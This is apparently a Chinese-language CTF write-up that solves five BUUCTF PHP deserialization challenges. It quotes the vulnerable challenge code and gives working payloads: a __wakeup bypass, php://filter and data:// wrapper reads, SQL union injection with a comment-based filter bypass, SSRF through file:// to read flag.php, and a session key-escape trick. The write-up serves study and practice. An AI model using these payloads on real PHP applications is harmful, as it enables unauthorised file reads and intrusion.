buu刷題筆記之反序列化
[極客大挑戰 2019]PHP
解題思路:開啟題目,提示有備份=原始碼。於是上手7kb加CTF原始碼洩露字典。
發現www.zip壓縮包,下載解壓後發現原始碼
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo"</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die(); } } } ?>
分析原始碼:只有username=admin、password=100才能得到flag。但wakeup魔法函式會強制將username=guest,所以需要繞過wakeup。
Index.php程式碼截圖如下(注意圈出的)
反序列化的入口就是select引數。
有了思路就來構造payload。
<?php class Name{ private $username = 'nonono'; private $password = 'yesyes'; } $a=new Name("admin","100"); echo serialize($a); ?>
輸出結果
然後
-
因為要繞過
wakeup
,把Name
後的數字改成3或更大 -
因為
username
和password
是私有變數,變數中的類名前後會有空白符,而複製的時候會丟失,所以要加上%00
payload:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
[ZJCTF 2019]NiZhuanSiWei
審計原始碼
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
看到有include檔案包含,是解題的重點,所以先看第一個if,必須先滿足它,text不為空,且file_get_contents()
讀取的返回值為welcome to the zjctf。
file_get_contents()
函式的功能是讀取檔案內容到一個字串,但這裡沒沒有一個文
件,而是讀取的text
變數。而如果直接給text
賦值text=welcome to the zjctf
的話,沒有回顯,說明沒成功,所以需要用方法繞過它,就有兩種方法:
1、php://input
偽協議
此協議需要allow_url_include
為on
,可以訪問請求的原始資料的只讀流, 將post請求中的資料作為 PHP程式碼執行,當傳入的引數作為檔名開啟時,可以將引數設為php://input
,同時post想設定的檔案內容,php執行時會將post內容當作檔案內
容,好像用 HackBar 因為在 post 中沒有設定變數不能訪問,所以用Burp抓包。看到有回顯,可行
2、data://偽協議
data://協議需要滿足雙on條件,作用和 php://input 類似
再看第二個if file
不能有flag字元,沒啥,往下看。
提示了有一個useless.php
,想到之前說的PHP偽協議中的php://filter
讀取檔案,於是便嘗試一下
php://filter/read=convert.base64-encode/resource=useless.php
所以構造payload:
?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
然後base64解碼得useless.php的原始碼
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
看到有一個 flag.php ,並且file不為空將讀取flag.php並顯示,所以構造一個序列化字串
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a=new Flag(); $a->file="flag.php"; echo serialize($a); ?>
構造payload:
http://60bcfa23-06d0-4765-9671-cc34bf176fba.node4.buuoj.cn:81/?text=data:text/plain,welcome to the zjctf&file=php://filter/read/convert.base64-encode/resource=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
無flag回顯,這裡發現如果file繼續用前面偽協議讀取的話,後面的 password 會無回顯無法得到flag(需修改為 useless.php)
最終payload:
http://60bcfa23-06d0-4765-9671-cc34bf176fba.node4.buuoj.cn:81/?text=data:text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
訪問後f12即可見flag
[網鼎杯 2018]Fakebook
進入頁面,常規審計F12無發現,這邊先掃一下有無洩露掃目錄,發現存在robots.txt和flag.php,訪問後發現原始碼洩露/user.php.bak
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
curl_init(url)函式,初始化一個新的會話,返回一個cURL控制代碼,供curl_setopt(), curl_exec()和curl_close() 函式使用。引數url如果提供了該引數,CURLOPT_URL 選項將會被設定成這個值。
curl_setopt ( resource $ch , int $option , mixed $value )設定 cURL 傳輸選項,為 cURL 會話控制代碼設定選項。引數:
ch:由 curl_init() 返回的 cURL 控制代碼。
option:需要設定的CURLOPT_XXX選項。(CURLOPT_URL:需要獲取的 URL 地址,也可以在curl_init() 初始化會話的時候。使用 CURLOPT_RETURNTRANSFER 後總是會返回原生的(Raw)內容。)
value:將設定在option選項上的值。
curl_getinfo — 獲取一個cURL連線資源控制代碼的資訊,獲取最後一次傳輸的相關資訊。
經過分析可得:
1,註冊介面輸入的blog經過了isValidBlog()函式的過濾,不然直接在註冊介面blog處輸入file:///var/www/html/flag.php就能拿到flag。
2,get()函式存在ssrf漏洞。
顯然存在ssrf漏洞,並且拼接入我們的url就是我們註冊的時候輸入的url,但是顯然是有waf的,所以我們就不能夠直接利用。。沒有WAF直接在註冊介面輸入file:///var/www/html/flag.php就能拿到我們想要的flag。所以,我們的思路是,把flag的路徑賦給blog,經過一系列操作最後會返回flag.php的內容。
發現頁面view.php?no=1
存在數字型注入,經過簡單判斷有4個欄位
注入發現union
被過濾,使用/**/
繞過
發現顯示位username。
法一:ssrf+反序列化+sql注入
根據報錯資訊可知:
-
網站絕對路徑(/var/www/html/)
-
資料庫裡的資料都是反序列儲存
因此只要訪問/var/www/html/flag.php
就可以拿到flag,但通過http(s)
協議無法讀到flag,curl
不僅支援http(s)
,還支援file協議
,所以可以通過file協議
讀檔案
我們在此猜測(暫時未發現線索說明flag就是這個位置的,只能猜,而確實是猜出來的)位置為/var/www/html/flag.php
<?php class UserInfo{ public $name="1"; public $age=2; public $blog="file:///var/www/html/flag.php"; } $a=new UserInfo(); echo serialize($a); ?>
得到反序列化字串:
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
所以接下來只要把這段字串放在get接受的位置即可(加單引號包裹)
Payload:?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
至於為何在4位點插入串,因為我們之前猜測ssrf的利用位置在blog--4位點,別的位置無法curl_exec()
造成ssrf
f12審計得到flag
法二:sql注入load_file()
利用報錯的絕對路徑直接查到flag.php
因為我們已經猜測了flag.php的位置,所以確認存在sql之後,我們可以利用load_file函式:
Payload:?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4
F12空白區域,直接得到flag
[網鼎杯 2020 青龍組]AreUSerialz
開啟頁面,程式碼審計
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
總結:
1.傳入str
,經過處理反序列化。
2.is_valid
過濾:傳入的string
要是可見字元ascii值為32-125。
3.$op:op=="1"
的時候會進入write方法
處理,op=="2"
的時候進入read方法
處理。
is_valid
過濾-繞過:
正常構造payload的話因為op、fliename、$content
都是protected屬性
,序列化的的結果的屬性名前面會有/00/00
(或者%00%00
),/00
的ascii為0不可見的字元如下圖,就會被is_valid
方法攔下來。
PHP7.1以上版本對屬性型別不敏感,public屬性
序列化不會出現不可見字元,可以用public屬性
來繞過
弱型別繞過,然後最後執行到:$obj=unserialize($str)
會呼叫__destruct
魔術方法,如果op="2"
的話就把op="1"
這時候要使op="2"
不成立且op=="2"
成立,這裡可以自己使用op
等於整數2而非字元”2”
使得進入read方法
裡面,然後構造序列化字串:
<?php class FileHandler { public $op=2; public $filename="flag.php"; public $content; } $a=new FileHandler(); $b=serialize($a); echo $b;
最後payload:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
檢視原始碼即可看到flag,或者使用PHP偽協議讀取flag.php:
<?php class FileHandler { public $op=2; public $filename="php://filter/read=convert.base64-encode/resource=flag.php"; public $content; } $a=new FileHandler(); $b=serialize($a); echo $b;
得到base64解碼得到flag
[安洵杯 2019]easy_serialize_php
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
序列化後的結果是一串字串。
反序列化會解開序列化的字串生成相應型別的資料。
如以下程式碼示例,img是一個數組,下標分別是one和two,對應的值分別是flag和test
<?php $img['one'] = "flag"; $img['two'] = "test"; $a = serialize($img); var_dump($a); #輸出: string(48) "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}" $b = unserialize($a); var_dump($b); /*輸出如下內容: array(2) { ["one"]=> string(4) "flag" ["two"]=> string(4) "test" } */
序列化部分:
經過serialize序列化後生成了相應的字串: a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}
a表示陣列 , a:2中的2表示有兩個鍵值,即對應的one、two兩組鍵值對。
花括號中的s都表示string即字串,
s:後面的值分別是3、4、3、4,即對應的字串長度,比如one長度是三,flag長度是4
反序列化部分:
unserialize函式將字串解序列化,我們用var_dump函式顯示了他的詳細資訊。
可見解序列化後由變數$b,接收了img陣列。
序列化中每個字母的表示
a | array陣列 |
---|---|
b | boolean判斷型別 |
d | double浮點數 |
i | integer整數型 |
o | common object 一般的物件 |
r | reference引用型別 |
s | string字串型別 |
C | custom object |
O | class |
N | null |
R | pointer reference |
U | unicode string |
發現d0g3_f1ag.php
我把可以對應起來的程式碼放到了一起
$function = @$_GET['f']; if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
根據上面可以清楚,f是我們用get方法傳參得到的變數並由$function接收。
$function發揮作用的程式碼塊,在最下方的判斷句。
咱們初步訪問的時候f=highlight_file,
判斷句中給了提示,那麼f=phpinfo時,我們就看到了phpinfo的頁面,phpinfo有很多配置項會顯示。
我們發現了auto_append_file d0g3_f1ag.php 在頁面底部載入檔案d0g3_f1ag.php。
所以可以猜測flag應該要從d0g3_f1ag.php拿。
發現變數覆蓋
if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST);
filter函式是為了過濾用的,可以先繼續往下看,到如下的時候。
我萌發現unset函式將$_SESSION銷燬了。
然後重新賦予$_SESSION了新的值。
最後呼叫了extract($_POST);
變數覆蓋舉例
根據extract()我們可以進行變數覆蓋,
當我們傳入SESSION[flag]=123時,$SESSION["user"]和$SESSION['function'] 全部會消失。
只剩下_SESSION[flag]=123。
<?php $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; var_dump($_SESSION); echo "<br/>"; extract($_POST); var_dump($_SESSION);
鍵值逃逸
原理:因為序列化吼的字串是嚴格的,對應的格式不能錯,比如s:4:"name",那s:4就必須有一個字串長度是4的否則就往後要。
並且unserialize會把多餘的字串當垃圾處理,在花括號內的就是正確的,花括號後面的就都被扔掉。
示例
<?php #正規序列化的字串 $a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}"; var_dump(unserialize($a)); #帶有多餘的字元的字串 $a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji"; var_dump(unserialize($a_laji));
我們有了這個逃逸概念的話,就大概可以理解了。如果我們把
$_SESSION['img'] = base64_encode('guest_img.png');這段程式碼的img屬性放到花括號外邊去,
然後花括號中注好新的img屬性,那麼他本來要求的img屬性就被咱們替換了。
那如何達到這個目的就要通過過濾函數了,因為咱的序列化的是個字串啊,然後他又把黑名單的東西替換成空。
payload
post一個數據。
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}這個肯定就是我們預期的那段序列化字元,
那麼 ;s:1:"1"; 這幾個字元呢?
現在的_SESSION就存在兩個鍵值即phpflag和img對應的鍵值對。
並且這個字串得好好讀才能不蒙圈。
$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}"; $_SESSION['img'] = base64_encode('guest_img.png'); var_dump( serialize($_SESSION) ); #"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}" ;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
經過filter過濾後phpflag就會被替換成空,
s:7:"phpflag";s:48:" 就變成了 s:7:"";s:48:";即完成了逃逸。
兩個鍵值分別被序列化成了
s:7:"";s:48:";s:1:"1";即鍵名叫";s:48: 對應的值為一個字串1。這個鍵值對只要能瞞天過海就行。
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";鍵名img對應的字串是d0g3_f1ag.php的base64編碼。
右花括號後面的;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"全被當成孤兒放棄了。
注入
payload:_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
發現/d0g3_fllllllag
拿flag
/d0g3_fllllllag進行base64加密L2QwZzNfZmxsbGxsbGFn,恰巧也是20位。就替換原來的就好。
payload:_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
得到flag